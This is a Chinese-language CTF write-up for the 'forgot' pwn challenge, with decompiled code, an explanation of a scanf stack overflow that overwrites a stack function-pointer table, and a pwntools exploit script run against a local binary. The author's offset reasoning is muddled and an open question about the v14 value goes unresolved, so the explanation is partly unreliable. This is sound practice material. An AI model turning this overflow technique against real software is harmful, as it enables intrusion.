下面記錄一下我在做攻防世界的pwn練習題中的forgot題目的過程,這個題目現在還是有些疑惑的
首先我們看一下題目的安全機制:
然後IDA看一下主函數:
int __cdecl main()
{
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]
int (*v4)(); // [esp+34h] [ebp-50h]
int (*v5)(); // [esp+38h] [ebp-4Ch]
int (*v6)(); // [esp+3Ch] [ebp-48h]
int (*v7)(); // [esp+40h] [ebp-44h]
int (*v8)(); // [esp+44h] [ebp-40h]
int (*v9)(); // [esp+48h] [ebp-3Ch]
int (*v10)(); // [esp+4Ch] [ebp-38h]
int (*v11)(); // [esp+50h] [ebp-34h]
int (*v12)(); // [esp+54h] [ebp-30h]
char s; // [esp+58h] [ebp-2Ch]
int v14; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]
v14 = 1;
v3 = sub_8048604;
v4 = sub_8048618;
v5 = sub_804862C;
v6 = sub_8048640;
v7 = sub_8048654;
v8 = sub_8048668;
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(&s, 0x20, stdin); // 此處沒有溢出
sub_80485DD((int)&s); // 輸出必要信息
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2); // 此處會存在溢出 32bytes
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) )
v14 = 2;
break;
case 2:
if ( v2[i] == '@' )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v14 = 4;
break;
case 4:
if ( v2[i] == '.' )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&v3 + --v14))(); // 此處調用cat_flag
return fflush(stdout);
}
同時我們看一下程序的字符串,發現了我們需要的函數:
再回顧主函數,我們發現發現有兩個scanf,並顯然第二個scanf存在溢出漏洞,並且程序在棧中存放了一系列的函數的地址,而且在程序的最後根據v14的值選擇其中一個函數並執行。
我們可以考慮在溢出的時候更改棧中的函數地址,並控制v14的值,使得程序能夠跳轉執行cat flag
根據程序的switch流程,我們可以很容易使得for循環結束的時候,v14的值爲10,v3偏移爲0x54, 調用的函數地址的偏移爲0x54-0x9=0x4b, 則v2到函數地址的偏移爲0x74-0x54+0x9 * 4=0x44, 即在0x44偏移位置填充cat_flag函數地址,然後填充0x2c-0xc=0x20的字符來填充s緩衝區,然後覆蓋v14的值。
根據棧幀的結構,我們可以構造如下payload,exp如下:
# 2020/6/17
from pwn import *
print(cyclic(0x74-0x2c))
print(cyclic_find('jaaa'))
context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
p = process("/home/tucker/ctf_pwn/forgot")
pwnlib.gdb.attach(p)
p.recv()
p.sendline("tucker")
p.recv()
catflag_addr = 0x80486CC
# payload = 'a' * 36 + p32(catflag_addr) + "@gamil.com"
# cover v14 with 0x8 why is 0x8, not 0x9 or 0xa??
payload = 'a' * 0x44 + p32(catflag_addr) + 'a' * 0x20 + p32(0x8)
p.sendline(payload)
p.interactive()
(此處有個疑惑,此處v14的值爲何只能覆蓋爲0x8,而不能使0x9,或者0xa)
另外在此實驗中,我初步瞭解了使用pwntools附加gdb進程進行調試。這樣可以使用我們構造的payload。